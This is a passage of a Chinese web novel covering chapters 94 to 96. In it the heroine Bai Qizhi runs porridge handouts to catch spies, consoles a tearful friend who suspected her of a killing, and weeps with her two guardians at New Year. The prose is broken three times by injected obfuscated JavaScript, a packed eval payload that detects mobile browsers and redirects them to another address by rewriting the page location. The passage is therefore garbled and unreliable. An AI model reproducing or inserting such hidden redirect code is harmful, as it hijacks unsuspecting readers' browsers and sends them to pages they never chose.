眼见下人们鱼贯而出，那位家仆模样的人抬手提了提袖子，走到路羡之身后，熟稔地为他按揉太阳穴以缓解头痛。 “是不是一派的都没关系，如今白纪风已死，大人已经让那些人看到了惹怒他的下场。他们也都是有妻女的人，想必不会再重蹈覆辙，再与您、与大人作对。您啊，且放宽心，那个小丫头片子是不会逃出大人的手掌心的。大人您先瞧着吧，到时候，自有人会狠狠收拾她。” 路羡之被他这么一按揉，头痛感顿时减轻了不少。 “但愿如此吧。”他缓缓吐出一口浊气，“我啊，现在只求她现在动静能闹得小些，不要闹到大人那边去，不然别说我这身皮，就连我这个脑袋，恐怕要交代给大人去。” * 搭棚，熬粥，分配活计。 淮安终于在暮冬?时分迎来了今年最大的一场雪。 如同上个冬日那样，白栖枝依旧是带着众人在香玉坊门前施粥，依旧是打着林家的招牌，依旧是拿着木杓站在众人面前。 施粥的队伍又长长逶迤到北名大街上。 众人就见着白栖枝挥袖往新熬好的白粥里撒了把砂砾。 “分粥吧。”她低声道。 长长的队伍如同青灰色的山一般缓缓向前移动。 白栖枝早就吩咐了让人盯着这支长长的队伍里是否会有人有异动。 施粥整整施了两日，白栖枝挨个盘问看队伍的下人是否发现异样。 答案都是—— “没有。” 那就说明那些监视着她的人并不在这批队伍中，亦或者是他们猜到了她的意图，不敢前来领粥。 但不对，对于那些人来说，最危险的地方反而是最安全的地方。 况且他们其中一个已死，作为同类，发现尸体的人难道不想为兄弟报仇吗？ 倒也未必。 毕竟是死士，哪来那么多的兄弟情深？ 白栖枝暗暗吐了口气：算了，抓不到人，就算为淮安老百姓做好事了。 虽然什么线索都没得到，白栖枝照例给那些被雇来的下人们说好的工钱。 第二日的宴会亦是如此。 “东家。”春花上前一步，借着添茶的功夫，轻摇了摇头。 依旧是一无所获。 白栖枝并不气馁。 她只是有些纳闷：倘若在暗处安插的眼线的不是曾与她有过交往之人的话，那又能是谁呢？ 他的手为什么要伸得这么长呢？ 就因为她一介孤女？ 没意义的呀。 除非…… “白姑娘。”蓦地一声唤回白栖枝的魂。 白栖枝转头看，就见着李延举杯行至她面前。 “李公子。”白栖枝欠身一礼，脸上又恢复笑意。 上次一见，已是去年。 白栖枝对这个中正磊落之人印象还是很深的，毕竟他上次还嫉恶如仇地说要帮她写一篇械文声讨林听澜，这事儿白栖枝一直记得，根本忘不了。 正当她想着开口要先说些什么客套话的时候，李延开口了：“听说白姑娘前几日遇到了困难，甚至被绑架威胁性命。李某愚昧，若不是从子逸口中听闻，恐怕时至今日还不知晓此事。白姑娘放心，此事我已派人搜查，一旦找到真凶，我定要写械文将他告上衙门，让他知晓知晓我大昭的律法绝非摆设！” 啊……这个啊，倒也不用，毕竟真凶已经被抓完了。白栖枝内心一阵流汗。 她张嘴，想说什么，就又听李延义正言辞道：“白小姐也不要见外，您是子逸的朋友，自然也就是李某的朋友。日后您若再有何困难，请尽情跟李某开口，切莫见外。更何况您还是……” 说到这儿，李延蓦地顿住了，“白公的千金”这几个字在他嘴边盘桓良久，最终还是没有说出。 李延还是在宋长宴口中得知这位白栖枝白姑娘，居然是前书画院待诏翰林白纪风白大人之女。想白公生前为人，就连阿父这样鸡蛋里挑骨头的谏臣都对他赞不绝口，更何况是长平百姓？ 李延虽因父长居淮安，但对于长平之事，他也不是一无所知。 长平白翰林白大人，那可是百姓人口相传的好人，非但清廉俊雅、才绝惊人，甚至就连为人处世都颇有古时君子之风，不仅经常救济百姓，还敢毅然在高压之下拒绝朝中浑党诱惑不为他们所收买，这样的中正端方的人，放眼朝中，可谓是凤毛麟角！ 李延平生最佩服的，便是白翰林这种正人君子！ 而如今，这位白大人的千金就在眼前，他怎能不多加帮衬？ 看着白栖枝那双清澈见底的眼，李延到底还是不愿提及白公之事叫她伤心，便转而又道：“更何况您还如此心善，肯为淮安百姓施粥，这样的人，我李延平生最是佩服。”说着，他还将随身玉佩摘下递给白栖枝，“此物还请白姑娘务必收下，日后白姑娘若有事肯找李某，便差人凭此玉佩入府知会李某便可，李某定当竭尽全力，还望白姑娘不要嫌弃！” 这一枚和田玉佩就这样水灵灵地摆在白栖枝眼前，她接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“白姑娘是想放长线钓大鱼？”李延立即反应过来，低声暗道，“子逸可知此事？” 白栖枝摇了摇头：“此事既是冲着我来，就说明与他人无关，枝枝并不想因此牵扯到其余不相干的人，更何况是宋公子？不过虽是这样说，但枝枝也不敢打包票。能不能钓到、钓出来究竟是什么东西，枝枝不敢说。总之平安一日是一日，欢喜一日是一日。” 她忽地扬声道：“今日枝枝宴请众兄弟姊妹，自然是想邀大家过个欢喜日，至于其他，李兄就切勿挂念了。” 说完，白栖枝一口将杯中茶水饮尽。 这茶出自林家，是上好的阳羡茶，此茶品质优良，香气浓郁，深受文人雅士所喜，虽比不得上贡帝王的龙团凤饼，但却是朝廷里中最为常见、最为备受官员喜爱之茶，在大昭境内尤为珍贵。 除却阳羡茶，听闻白栖枝今日要举办筵宴，林听澜还特地命人给她备了日铸茶、双井茶、顾渚紫笋等一众上好茶叶撑场子。 在林听澜和沈忘尘眼里，白栖枝如今作为商贾之亲，相比那些官家子女到底是低贱不少，但他们都不想让她自觉低人一等，这些人面前失了颜面。 于是，两人帮她订了全淮安最好的酒楼，选了全淮安最好布庄给她裁衣裳，还命人给她打了最好的头面首饰，备上最好的茶叶点心，反复观量再三才肯放她出门去。 都说人靠衣装马靠鞍。 如今被这等光华装点着，白栖枝倒也真有几分官家小姐的模样了。 ——她本就该是官家的千金。 94. 对不起 宋长宴心里很是不得劲。 他是亲眼看着李兄上前去找枝枝姑娘谈话的，结果一谈就谈到了现在。 说不吃味肯定是不能够的。 但毕竟枝枝姑娘谈论的是要紧事，他还是乖乖在这里等她吧。 反正只是谈话而已也用不了很长时间，对吧？ 对吧？ 这一谈，就是好久，谈完后白栖枝还要去照拂其他姐妹，难免冷落了宋长宴。 宋长宴就跟一只被众人抛弃的大狗狗一样，一直坐在原地等着主人主动发现自己。 结果主人好久也没有看到自己殷切的眼神。 大狗狗快要难过哭了。 “啊……宋哥哥。”待到宴会结束，白栖枝终于发现在角落里抱膝而坐、眼圈红红的宋长宴。 宋长宴没理她。 白栖枝拍了拍他的肩。 宋长宴气呼呼地转过身去拒绝沟通，并且开始默默掉眼泪。 这又是怎么了嘛…… 白栖枝不懂自己究竟做错了什么事气到了宋长宴，搞得他像一个被爹娘搞丢后又被发现小孩子一样，蹲在角落里默默生闷气。 明明都好大的人了…… “宋哥哥……”白栖枝赶紧好声好气地转过去，蹲在他面前，歪头，像哄小孩子一样地问他，“宋哥哥怎么了？是今天的宴会不好玩吗？是今天的菜不好吃吗？还是枝枝拿来的茶不好喝？宋哥哥怎么自己一个人在这里生闷气呀？” 宋长宴虽然面上一派镇定只是在默默掉眼泪，其实内心小嘴已经撅得能挂油瓶了。 “枝枝姑娘你一直都不理我……”宋长宴很伤心地说道，“明明我找了枝枝姑娘找了那么多次，可枝枝姑娘看都不看我一眼。明明我们才是最好的朋友才对，可枝枝姑娘理别人都不理我，我……”他越说越委屈，金豆子跟不值钱一样扑簌簌地往下掉，掉得白栖枝直心虚。 白栖枝道：“哎？宋哥哥叫我了吗？难道是宴会上人太多枝枝没听到？” 宋长宴说：“没有，我没有叫枝枝姑娘。”他吸了吸通红的鼻尖，明明是个矜贵公子，哭起来却比小姑娘还娇，“可是我看了枝枝姑娘那么久，一直在看、一直在看，可枝枝姑娘一直都没有理我。明明有那么一两眼枝枝姑娘都看到我了的，可是还是什么反应都没有，光顾着和别的兄弟姊妹说话，一直冷落我。我、我……呜……” 宋长宴一个没憋住，委屈地哭出了声，而后眼泪就再也没刹住闸，跟江河湖海里的水一样涛涛而下。 白栖枝汗颜：这么多年，她也是找到一个跟她一样能哭的人了。 她赶紧温声哄道：“哎呀~宋哥哥对不起嘛，枝枝是真的没看到宋哥哥，枝枝不是故意冷落宋哥哥的。”说着，她轻轻捋了捋宋长宴的背，又拍了拍自己的肩膀，认真道，“如果宋哥哥真的觉得很委屈的话，可以在枝枝宽阔的胸膛里哭一会儿。嗯……但是也不能哭太久喔，如果被枝枝的兄长知道就糟糕了，他们会说枝枝的。” “说什么？” “不清楚，但总之就是男女授受不亲那一套吧。之前枝枝出去跟宋哥哥单独吃饭吃很晚的时候，兄长也是这样凶我的。” 说完，她手虚握成拳，抵在嘴边，学着林听澜那副严肃的样子，有模有样地学道： “你一个小姑娘，这么晚了不回家，单独去跟别的小小子吃饭，也不叫人回来通报一声，你眼里还有我和你沈哥哥吗？你知不知道我们在家里有多担心你，这么晚了还不回来，我们还以为你被狼叼走吃了！我告诉你白栖枝，你要是下回还敢这样，看我和你沈哥哥罚不罚你就完了！” 宋长宴：“啊？林老板这么凶？怎么跟我阿爹一样？” 白栖枝：“不知道，可能岁数大了爱管人吧？一天啰啰嗦嗦的，真不知道沈哥哥以前是怎么受得了他的。” 宋长宴：“别生气别生气，林老板也是关心你嘛。啊，你蹲着累不累，要不要一起坐会儿？” “好喔。” 眼见众人都已散去。 宴会的角落，这两小只你挨着我、我挨着你，像小猫一样挤在一起，互相依靠着，各自想着心事。 突然—— “哦对了枝枝，我想起了一件事。”宋长宴道，“之前我去赶考，回来时又路过当年我和你待过的那个破庙，我本想着进去好好拜一拜，你猜怎么着？” “怎么着？”白栖枝面色如常。 宋长宴伏在她耳边神秘兮兮道：“我发现了——一具尸体。” “……” “……” 宋长宴：“枝枝你怎么不害怕？” 白栖枝：“宋哥哥对不起，虽然很伤心，但是我还是想说——”她也神秘兮兮地趴在宋长宴耳边，同他咬耳朵道，“你讲的鬼故事真的好烂。” “不是鬼故事！”宋长宴有些着急了，“是我亲眼看到的，我那时候从佛像后面闻到一股腐尸味，就去看了看，结果一眼就看到裸露着的白骨，看起来埋了一年多了。” 见白栖枝仍是不信，宋长宴将那天的事事无巨细地告诉给白栖枝，随即小心翼翼地看着她。 对于他来说：正常讲，任何小姑娘听到这件事都会吓得花容失色的吧？ 可白栖枝只是摸着下巴垂眸认真思索一阵后反问他：“既然有死尸，那宋哥哥你为何不报官？” “哎？” “按理来说，那种荒郊野外有死尸，还被埋了一年之久，大概率是被仇杀。既然是仇杀，那就说明该地曾有冤案未了。这种事，分明应该上报给衙门才对——这么重要的事，宋哥哥你居然忘记了，你该不会是被吓傻吧？” “怎么会？”宋长宴反驳道。 但毕竟此刻道理捏在白栖枝手里，宋长宴这股气不一会儿就蔫了下来。 他承认道：“好吧，我的确是被吓到了。那可是死人啊，我长这么大都没见过死人，第一次难免会有点害怕嘛。抱歉啊枝枝姑娘，我下次不会了。” 白栖枝摸了摸他的头：“嗯嗯！知错能改就是好哥哥。” 宋长宴又反问她道：“可是枝枝，你第一次在那里住的时候不害怕吗？那可是死人哎，万一变作厉鬼夜间索命怎么办？你一个女孩子怎么能敌得过他？” “……”白栖枝难得地沉默了一下，良久，她面色沉沉，低声道，“我倒宁愿世有厉鬼。，宁愿厉鬼死而不散。” 宋长宴定定地看着她。 白栖枝冷冷道：“倘若世间真有厉鬼，那么便是一 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白栖枝愣住。 她下意识地想要伸手，却在手指一蜷后硬生生忍住：“宋哥哥。” 白栖枝抬眸，却在看见宋长宴那双蓄满水的眸子后又将嘴边的话咽下。 宋长宴现在的神情可谓是委屈极了：眼尾翻红、睫毛颤动，红润的嘴死抿成一条线向下撇不说，还紧咬着下唇，将下唇咬得不见血色。 倘若白栖枝再仔细观察的话，就能看见他急促的呼吸，微微发抖的肩膀，和很快就要沾湿的睫毛根。 这下子，白栖枝可算明白沈忘尘当年为什么会对她心软了——这样的神情，别说是她一个女儿家，哪怕是砍了十年头的刽子手都忍不住心疼，更何况是沈忘尘？ 果然，哭还是有用的，关键是怎么哭。 眼见白栖枝毫无反应，宋长宴满腹委屈在心头酸涩翻涌：“枝枝姑娘……”他开口，已带了哭腔，吓得白栖枝不得不接过他手中的平安符系在自己脖子上。 可惜她从不带首饰，后头的结总是系不好，只得背过身去求宋长宴： “宋哥哥，帮枝枝系一下吧，枝枝够不到了。” 话音未落，一个温软的触感就落到她脖颈处。 是宋长宴在帮她系结。 “枝枝姑娘。”不看着白栖枝的眼，宋长宴终于敢说真话，“其实，我真的真的很担心你，你被人绑架的时候我不知道，等我回来之后，二姐就说你病倒了。我想去看你，可是又怕…… 对不起，我怀疑庙内的那具尸体是你杀的，因为那天下雨，你特地告诉我别去佛像后面，会被蛇虫鼠蚁咬到，我以为你那是在暗示我什么。 对不起，枝枝姑娘，我是个胆小鬼，我不该怀疑你的。但后来我一个人也想明白了，你是个这么好的姑娘怎么会杀人呢？是我，是我不好，我不是个东西，我不该怀疑你的，我不该把你想的那么坏的。 对不起枝枝姑娘，我、我真的不想失去你这个朋友，所以，请你不要讨厌我，我身边真的只有你这么一个真心朋友了。 对不起……” 对不起…… 95. 往昔 平安符已经系好，但宋长宴的手还在止不住地颤抖。 “啊，这个啊……” 身后人还没松开手，白栖枝感觉自己命运的咽喉好像被勒住了，有点不舒服。 她转身，捧过宋长宴的手握在自己手里：“没事的宋哥哥，毕竟事情太巧了，正常人都会这么想的嘛，不要难过，枝枝摸摸你，别哭别哭。” 虽然怪怪的，但白栖枝还是一点点摸着宋长宴的头安慰他。 良久，宋长宴才擦擦眼泪鼻涕止住哭泣。 “那个……枝枝姑娘……”宋长宴吸了吸鼻尖，白皙的脸上一片绯红。 他闷闷道：“我平时不这样的，今天、今天实在是太失礼了，对不起，以后不会了。还有就是……今年过年，我可以去林府拜访你吗？”说到这儿，他又慌了起来，“那个，我、我没有别的意思，我真的只是想拜访一下。”才不是想要把从长平带回来的好东西当做新年贺礼送给枝枝姑娘。 好吧……他就是很想。 “这个嘛……”白栖枝有点难办，“枝枝得先请过林哥哥和沈哥哥，等到时候再同宋哥哥说吧。” “好。” 虽然三天的功夫打了水漂，但到底也不算是一无所获，毕竟在宴会上她也还结识了些官家子弟，对日后也算有个保障，只是…… 夜色已深，白栖枝捏了捏系在脖子前的平安符暗暗地想： 早知道，就将人换个地方埋好了。 差点孳生事端。 * 到底是年节。 天降瑞雪，状如鹅毛。 家家户户都点了红灯笼，林家也不会例外。 一年中难得的休沐日，林听澜和白栖枝都在家里陪着沈忘尘，三人说说笑笑，至情至性处，甚至还小酌几杯。 林听澜和沈忘尘还好，到底曾是恣意风流少年人，喝上几杯也不会出事。 唯独白栖枝，少饮辄醉，一双醉眼朦朦胧胧的，哪怕闻见酒味都会头晕。 林听澜这才将她杯子里的甜酿换成甜茶，防止她喝晕过去。 这人一醉，就容易醉出几分少年心性。 林听澜和沈忘尘此时微醺，前者竟吩咐下人拿出他蒙尘已久的胡笳吹奏起来。 这东西上一次被拿出，还是在林老爷生前，自他死后，林听澜接手林家家业，就再没了吹它的时候。 没想到，虽然时隔已久，他吹起来仍不逊色于当年，倒是令他格外欣喜。 屋内烧着足足的地龙，林听澜吹奏胡笳，沈忘尘就用骨节如竹的手指在腿上一点一点地打着节拍跟着轻声哼鸣。 白栖枝趴在桌上静静地看着，仿佛是个局外人。 她可不就是个局外人？ 两人缅怀的那段时日又没有她，她就像个躲在角落里阴暗偷窥他人幸福的胆小鬼，就算挤破头想要钻进去，最终也只是被拒之门外的那个。 直到看着林听澜放下胡笳，白栖枝才像是又回来了一样，笑着问他：“你还会这个啊？我可从来都不知道。” “那是。”林听澜刚好喝至微醺，半梦半醒间，他也来了兴致，夸夸其谈道，“你不来淮安，不知我当年在淮安有多快活。那时候我爹娘尚在人世，我呢，每天除了学习如何打理家中产业，就是在外头疯玩。当时我身旁还有几个好友，我们经常约着去花楼喝花酒，当时花楼里有个姑娘吹得一曲好胡笳，我们几个特地点了她一整天给我们吹曲儿听。后来我觉得这玩意儿有趣，就自己买了胡乱跟着她吹。再后来那位姑娘被一个官家人赎走做了妾，我就自己学着吹些小曲儿给自己听，不知道惹得多少花楼姑娘朝我暗送秋波。那时候我们哥儿几个，别提又多快活了。” 白栖枝笑道：“你朋友捏我屁股。” 林听澜的脸腾一下红了。 “咳。”他清了清嗓子，生硬地转开话题，“后来我爹娘走了，整个家中就得靠我一人打理，就也很少和他们一起去喝酒。我初次掌家，有些事难免有失分寸，那一阵儿我格外失意，就去酒庄里喝酒。当时你沈哥哥也是初到淮安，他当时是来问路的，我那时喝多了酒，心情也是不顺，就拉着他过来陪我喝。” 白栖枝：“真是喝酒误事啊……” 林听澜：“怎么能算误事？我俩就这么边喝酒边聊，聊着聊着就发现彼此一见如故，知道他还要在淮安待上一月有余，我便约他下次再聊。后来我们就一起相约踏青、逛庙会、斗茶下棋……后来他就要走，我便约过他去花楼喝花酒，你是没见过那些姑娘看你神哥哥的眼神，恨不得要把他吃了一样，个个儿在他面前争奇斗艳。你沈哥哥也是个知情识趣的，当时还送了那些姑娘不少花枝或者是其他精巧的小玩意儿，惹得不少姑娘对他青睐有加，一个个做了梦都想嫁给他。但是呢？你沈哥哥还是拒绝了她们，并且和我相约下个春日再见。 “你沈哥哥走后，我甚是思念，就天天给他写信问安。好在你沈哥哥也没嫌我烦，都一一回了信，我俩就这样互相写信问候一年左右。你沈哥哥喜茶，我就给他寄些茶饼，你沈哥哥呢，也会给我寄些你们长平那边的玩意儿，偶尔还会寄些书过来让我看。嗐，我天天在楼里忙得脚打后脑勺，哪里有时间看？便骗他说自己看过了。结果你沈哥哥就又寄来一封信，偷偷靠我书里的内容，我呢也是没办法，为了不让他看出来，只能每天偷偷翻书查他那些问题，就这样一二来去，我还真就把那些书给看完了，就等着他下次来信靠我。结果、结果你猜怎么着？ 我那点小心思居然被他看穿了，下次来信，他就在信中写到：看起来，我赠与你的那些书你应是已经看过了，下次，我再寄些旁的书给你罢，好好学，我总不会害你。你说他这人，多坏？” 说到这儿，林听澜也乐，沈忘尘也乐。 沈忘尘道：“我知你不爱看书，那些问题，我都是依着书中的顺序问你的，就知道你会翻书查看。后来，等你将那些问题都回答完，我猜你应也将书全都看完了，这才又将新的赠与你。我哪里会害你？” “是是是，忘尘自然不会害我。”林听澜笑道，“你寄来的那些书都是凝着你心血的，你怕我看不懂，还特地在上面做了笔录，供我理解。不过确实，那些书对我来说确实有用，我依着里头的法子做，果真将林家勉勉强强地撑起来。但仅凭我一人支撑还是太累，加之府内上下、家中内外皆惧我看轻我，无一人伴我身侧，我亦难免会有些孤独。就在我几乎快要忍不下去的时候，幸好你又回来了。 “我记得你回来时是年关后约么是惊蛰，那天淮安倒春寒，明明前之前还晴空万里，突然就下起了大雪。那天真是我见过最大的一场春雪，雪片跟鹅毛似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271274|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的大，风刮得能吃人。当时我还在担心长平那边是不是也在下这么大的雪，结果当天你就回来了。 你说，你在淮安这边租了院子，这次回来大约就不走了，你说你想了一年还是想留在这儿，你说你今日有空我们一起去我那处喝酒吧。也就是在那天，我们都喝多了酒，就在你租的那间宅子里，我们……” “停！”沈忘尘被他说得好不害臊，赶紧制止道，“这儿还有孩子呢，少说那些话。” 林听澜：“哦。” 他恹恹饮了杯酒，又倒了一盏，将自己喝过的那杯递给沈忘尘。 沈忘尘手里还握着没喝完的半杯酒，见他如此，娇嗔道：“干嘛？” 见林听澜一直眼巴巴地盯着自己看，沈忘尘无奈似的轻叹一口气，就着他的手，薄唇覆上酒痕未干的那处，喝了个干净。 有酒液顺着唇角落下，沈忘尘将其抹去，白玉似的脸更加绯红。 他温声道：“行了，少喝一点吧，饮酒伤身。” 杯子里还剩一点点酒，林听澜干脆自己喝了。 白栖枝静静看着两人，没说话，只是用莹白的指尖悄悄地戳着酒杯沿儿。 她如今年纪尚小，甚至还没尝过情窦初开的滋味，林听澜说的那些，她一个字都听不明白，就像她分不清友谊还是爱情一样，她根本不明白两人之间的情愫。 在她眼里，两个人就是感情很好的好朋友啊，就跟她和宋长宴一样，一起喝酒、吃饭、游…… 怎么就能突然走到那一步了？ 不明白，白栖枝怎么想都不明白。 “后来呢？”她问。 “后来……”林听澜想了想，“后来我就和你沈哥哥在一起了。你沈哥哥比我厉害太多，我不懂的事，他只需要三言两语就能讲个透彻，后来我便请他当我的军师为我出谋划策，这样不仅我有疑问他能随时解答，还能多陪我些时日。再后来，我嫌他早起晚归太累，干脆就请他入住林府。我们同吃同睡同住，平日里他帮我掌家，我出去做生意，休沐日的时候我们就一起出门踏青，偶尔还会去泡一泡温泉，去酒肆喝喝小酒，那日子，别提多惬意了。 当时你沈哥哥的身子还不错，秋日里我那些朋友经常会上山组织秋猎，我便带你沈哥哥同去。我原以为像你沈哥哥这种文弱书生不善此道，结果他骑在马上搭弓，只一箭，就射中了我们都没射中的野兔。那天我们猎了好多猎物，带不回去，索性就在山上炙肉，我负责烤，你沈哥哥就负责切，其他那些酒囊饭袋什么都不会，就知道张着一张大嘴等着吃。 你沈哥哥刀工好，切的肉块都精细好入口，那天我们吃了好多。直到吃完，他们都夸忘尘好手艺，说倘若他是女子，毕竟是极为贤惠极为善掌家的那种，当时他们还不知道你沈哥哥和我在一起了，还紧着想为他介绍淮安的姑娘让他在淮安成亲，但你沈哥哥说了只一段话，他们就都没声了。” 沈忘尘问道：“说了什么？我怎么不记得？” 林听澜痴痴地笑：“忘尘你怎么能不记得？你忘了？你说、你说——” 他学着沈忘尘的神情，将左手叠在右手上举止胸前，悠然一笑道： “承蒙诸位雅爱，沈某心领。奈何沈某心中已有卿卿，虽未明言，但情愫已定，不敢再劳大家为沈某费心，望诸位见谅。” 96. 抱抱 林听澜学完便一直笑。 屋内，他在笑，沈忘尘在笑，白栖枝也在笑。 可白栖枝的笑里到底多了分说不清道不明的意味。 林听澜转头看，就见着白栖枝一点点红了眼眶。 林听澜笑问她道：“这么好的日子，你哭什么？” 白栖枝不答他，跟着了魔似得一个劲儿地用手背挡着嘴痴痴地笑，笑着笑着，一滴眼泪就夺眶而出。 两人都发觉她情绪不对，渐渐收敛了笑意，关切地看着她。 “可我心疼你们啊。”白栖枝笑得跟个笨蛋一样，边笑边掉眼泪，“可我心疼你们啊……” 林家这么大，林听澜一个撑着肯定很辛苦吧？ 如果伯父伯母还活着的话就好了，如果他们还活着一定可以为他遮风挡雨的。 到时候他就还是林家的大少爷，就可以一直无忧无虑，就不用像现在这样一天天跑来跑去这么辛苦还要被人否定和质疑了。 做生意很不容易的，尤其是年纪小的人做生意，是要遭受很多嘲讽和白眼的，他们会欺负你年纪小，欺负你什么都不太懂，欺负你听不懂他们话里的圈套。 在那些独自一人的日子里，所有人都会欺负你没有父母撑腰的。 那个时候，他一个人该有多难过啊…… 还有沈哥哥——如果他的腿没有断就好了， 如果沈哥哥的腿没有断的话，他那么聪明，那么厉害，就算是入仕做官都没问题的吧？ 如果沈哥哥的腿没有断，他就可以一直陪林听澜在外面游山玩水的，就不用一直困在这个宅子里不敢出去了。 他本来会有很好的人生的，他本来应该很快乐的。 但是，因为他的腿坏掉了，他就只能在林府里帮林听澜掌家，就只能一直呆在这一个地方，甚至因为嫌自己太麻烦，连家门都不敢出去，他本来不应该是这样的，他本来应该很好的。 可这一切都是谁造成的呢？ 是她啊！ 白栖枝笑得哭得喘不上气。 倘若她从未出生就好了，倘若她是个男孩子就好了。 但凡在这其中她能占上一个，她就不会和林听澜有娃娃亲。 她不和林听澜有娃娃亲，林听澜就不会活得这么辛苦；她不和林听澜有娃娃亲，林听澜就可以顺理成章地跟沈忘尘在一起了；她不和林听澜有娃娃亲，别人也不会将他分明有娃娃亲却还跟沈忘尘在一起的事传得沸沸扬扬，就不会被远在长平的沈博士知道，沈哥哥的腿也就不会被打断，他们两个就不会像现在这样难过了。 一切都是她的错。 如果她没有出生过就好了…… 对不起，对不起，对不起。 其实，她的阿爹早就知道林听澜和沈忘尘的事了，在这件事传入长平时她的阿爹阿娘就已经知道了。 阿爹和阿娘是想去淮安质问林听澜的，阿爹阿娘是想要将这桩婚事毁去的。 可偏被她拦住了，她是个胆小鬼，她怕林听澜在面对阿爹阿娘的质问时会更恨她，她怕林听澜会责骂她，所以，她拦住了。 可倘若她没有拦住阿爹阿娘的话，她们一家早就坐上去淮安的马车了。 如果她不拦住阿爹阿娘的话，她的家门不会被灭，阿爹阿娘阿兄就不会惨死家中。 对不起对不起对不起…… 千错万错都是她的错，她是胆小鬼是灾星是蝼蚁是蠢货是丧家犬！ 千错万错都是她的错，一切都是因为她才造成的！ 如果上天一定要人来担这个罪孽，那就让她去死，别让她的家人去死啊！ 为什么不杀了她啊…… “对不起……” 对不起，她又做错事了，明明今天是过年，明明今天是个开心的日子的。 她又做错事了。 在她说出那句“心疼”的时候，两人瞬间呆愣在原地，不知说什么好。 而现在，面对她的道歉，两个更是手足无措得连一声大气都不敢喘。 沈忘尘不知道平时那么乖的孩子怎么今天突然就情绪崩溃了。 林听澜想不通分明她自己都惨成那个死样子，怎么还有心情来心疼他俩的。 良久，两人相视一眼，决定开始哄小孩。 在她们眼里，白栖枝可不就是小孩？ 他俩一个大她十岁，一个大她八岁，跟她在一起的时候就跟带孩子一样，还是小女孩，难免会缺乏经验。 好在沈忘尘不是木头，见白栖枝哭得这么惨，又眼泪又流鼻涕的，赶紧递给林听澜一个眼神让他把他推到白栖枝身旁。 这个时候再吃醋也太不是人了！ 林听澜难得地乖乖听话，甚至在推完后还递给白栖枝一杯醒酒茶，让她揣在手里慢慢喝。 沈忘尘抽出手帕仔细地擦白栖枝那张被哭花了的小脸。 白栖枝甚至哭得冒了个鼻涕泡。 有点可怜……又有点好笑…… 在道德和人性的驱使下，沈忘尘生生忍住没笑。 “枝枝。”他摸了摸白栖枝的发顶，叫白栖枝从不安的情绪里抽离出来。 白栖枝吸了吸鼻涕，抬起一双泪眼看她。 这双眼实在是太乖巧了，又灵动又温顺，像兔子、像小鹿、像小雀儿……总之不像是人会有的眼神。 沈忘尘温柔地看着她，等她情绪渐渐稳定下来，才开口温声问道：“怎么了？枝枝，是哪里不舒服吗？还是你林哥哥说了什么话惹你不开心了？如果是他说错了话的话，沈哥哥现在就罚他，枝枝不要哭了好不好？再哭下去眼睛该不舒服了。我们家枝枝最乖了对不对？不哭不哭……” 他耐心地给白栖枝擦眼泪，而后一转头，朝林听澜道：“你，赶紧给枝枝道歉。” “对不起……”虽然有点不明所以，但林听澜还是听话地道歉了。 白栖枝本来情绪都稳住了，这下子哭得更凶了。 这招儿不好使呀，看来不是这里出了问题。沈忘尘看向林听澜。 林听澜也在看向他。 沈忘尘赶紧又握住白栖枝的小手哄了一箩筐的话。 可饶是他说了再多的好话，对白栖枝来说都收效甚微，反而让她更想哭了。 白栖枝也不想让人担心，但是她就是控制不住自己。 “呜……我、我没事的……呜……我哭一会儿……就好了呜呜呜……”说完，她把自己缩成一团，默默哭泣。 小姑娘再这么哭下去也不是办法，一会儿该晕过去了。沈忘尘看着哭成一团的白栖枝十分担忧。 突然，他福至心灵地看向林听澜。 林听澜：实在不行你抱抱她？ 沈忘尘：这不好吧……她一个小姑娘，能行吗？ 林听澜：那要不然咱俩一起抱？ 沈忘尘：这能成吗？ 林听澜眼神坚毅—— 能成！ 他俩这辈子就这么一个妹妹，别一下子给她哭死了。 况且别人不知道他还不知道？这小娇气包小手最喜欢黏着人要抱抱了，恨不得一整天都黏在她娘怀里。 现在把伯母从地府叫出来是不可能了，所以他只能！ 抱~ 缩成一团的球突然被一左一右、一凉一热两个怀抱抱住，白栖枝第一个反应不是感动而是呆愣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在那次绑架案发生后，比起让她开刃，两人更希望她活着，哪怕是将她永久尘封在剑鞘内，也总比先一步被摧折去要强得多。 ——到底还是不甘心。 “枝枝。” 这边儿，白栖枝还在认真挑选没有铜板、不会硌牙的饺子，那边儿就听得一声唤，唤得她赶紧放下筷子，身姿板正地瞧着两人正色聆听。 林听澜和沈忘尘对视一眼，到底还是说道：“其实，在前两天我和你沈哥哥谈了一下，你沈哥哥呢，希望你今年能跟在我身边一起学习如何经商。”没等白栖枝欢呼，他又道，“但是呢，我们又觉得你一个女孩子在外太过危险。这样，你明天去集市上买几个合眼缘丫鬟随从，他们也不用负责别的，每天跟着你就行，至于要找什么样的，就由你自己来定。” “那个……”白栖枝一副随时准备发言的样子。 经允许，她好奇道：“为什么不可以直接给我配武器？” 见林听澜一副“你在说什么东西”的表情，白栖枝一脸认真地解释道：“其实比起有人跟在我身边，我觉得更重要的是我需要有自保能力。毕竟丫鬟随从再认真跟，总会有让人钻空子的时候，但假如我自己就可以自保的话，就不用那么多人保护我了。” 她又道：“我听闻有一种暗器名叫袖箭，通常藏于衣袖之中，能在关键时刻发射箭矢以攻击敌人，这种武器隐蔽性强、威力较大还很好学，我想试一下。啊，当然，这东西我自己买自己让人教就可以，不必麻烦林哥哥和沈哥哥的，希望您二位可以同意一下。” 